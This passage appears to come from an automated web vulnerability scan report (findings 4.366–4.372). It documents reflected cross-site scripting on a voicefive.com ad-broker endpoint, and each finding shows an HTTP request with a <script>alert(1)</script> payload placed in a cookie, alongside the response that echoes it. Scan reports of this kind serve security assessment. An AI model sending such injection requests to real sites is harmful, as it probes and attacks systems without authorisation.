354&', "ar_p82806590": 'exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&', "BMX_G": 'method%2D%3E%2D1%2Cts%2D%3E1305033314%2E005%2Cwait%2D%3E10000%2Cb3453<script>alert(1)</script>63a58e2fc29', "ar_s_p81479006": '1', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&', "ar_p84552060": 'exp=1&initExp=Wed Apr 27 19:31:14 2
...[SNIP]...

4.366. http://ar.voicefive.com/bmx3/broker.pli [UID cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the UID cookie is copied into the HTML document as plain text between tags. The payload 4b347<script>alert(1)</script>78b9c17399a was submitted in the UID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-13033490464b347<script>alert(1)</script>78b9c17399a

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:14 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:14 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:14 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034934; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
2011&prad=2108505&arc=4477116&', "ar_p90175839": 'exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&', "UID": '875e3f1e-184.84.247.65-13033490464b347<script>alert(1)</script>78b9c17399a', "ar_p91136705": 'exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&', "ar_p92429851": 'exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12
...[SNIP]...

4.367. http://ar.voicefive.com/bmx3/broker.pli [ar_p81479006 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p81479006 cookie is copied into the HTML document as plain text between tags. The payload 3e8c3<script>alert(1)</script>193c19537dc was submitted in the ar_p81479006 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&3e8c3<script>alert(1)</script>193c19537dc; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:11 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:11 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:11 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034931; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&', "ar_p81479006": 'exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&3e8c3<script>alert(1)</script>193c19537dc', "ar_s_p81479006": '1', "ar_p91300630": 'exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 2011&
...[SNIP]...

4.368. http://ar.voicefive.com/bmx3/broker.pli [ar_p82806590 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p82806590 cookie is copied into the HTML document as plain text between tags. The payload a363a<script>alert(1)</script>8b7e7e1df7a was submitted in the ar_p82806590 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&a363a<script>alert(1)</script>8b7e7e1df7a; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:13 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:13 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:13 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034933; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&', "ar_p82806590": 'exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&a363a<script>alert(1)</script>8b7e7e1df7a', "ar_s_p81479006": '1', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&', "ar_p84552060": 'exp=1&initExp=Wed Apr 27 19:31:14 2
...[SNIP]...

4.369. http://ar.voicefive.com/bmx3/broker.pli [ar_p84552060 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p84552060 cookie is copied into the HTML document as plain text between tags. The payload 8e903<script>alert(1)</script>21cb7dbb1dd was submitted in the ar_p84552060 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&8e903<script>alert(1)</script>21cb7dbb1dd; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:12 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:12 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:12 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034932; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
u May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&', "ar_p84552060": 'exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&8e903<script>alert(1)</script>21cb7dbb1dd', "ar_p90175839": 'exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobu
...[SNIP]...

4.370. http://ar.voicefive.com/bmx3/broker.pli [ar_p90175839 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p90175839 cookie is copied into the HTML document as plain text between tags. The payload 21d0d<script>alert(1)</script>2ebfc627e10 was submitted in the ar_p90175839 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&21d0d<script>alert(1)</script>2ebfc627e10; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:10 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:10 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:10 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034930; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&', "ar_p90175839": 'exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&21d0d<script>alert(1)</script>2ebfc627e10', "UID": '875e3f1e-184.84.247.65-1303349046', "ar_p91136705": 'exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&', "ar_p92429851": 'exp=4&initExp=
...[SNIP]...

4.371. http://ar.voicefive.com/bmx3/broker.pli [ar_p90452457 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p90452457 cookie is copied into the HTML document as plain text between tags. The payload 4099a<script>alert(1)</script>91f9953a73d was submitted in the ar_p90452457 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&4099a<script>alert(1)</script>91f9953a73d; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:13 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:13 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:13 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034933; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
Exp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&', "ar_s_p81479006": '1', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&4099a<script>alert(1)</script>91f9953a73d', "ar_p84552060": 'exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&', "ar_p90175839": 'exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:
...[SNIP]...

4.372. http://ar.voicefive.com/bmx3/broker.pli [ar_p91136705 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p91136705 cookie is copied into the HTML document as plain text between tags. The payload ef6c0<script>alert(1)</script>1c875e74eef was submitted in the ar_p91136705 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&ef6c0<script>alert(1)</script>1c875e74eef; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:11 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:11 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:11 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034931; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
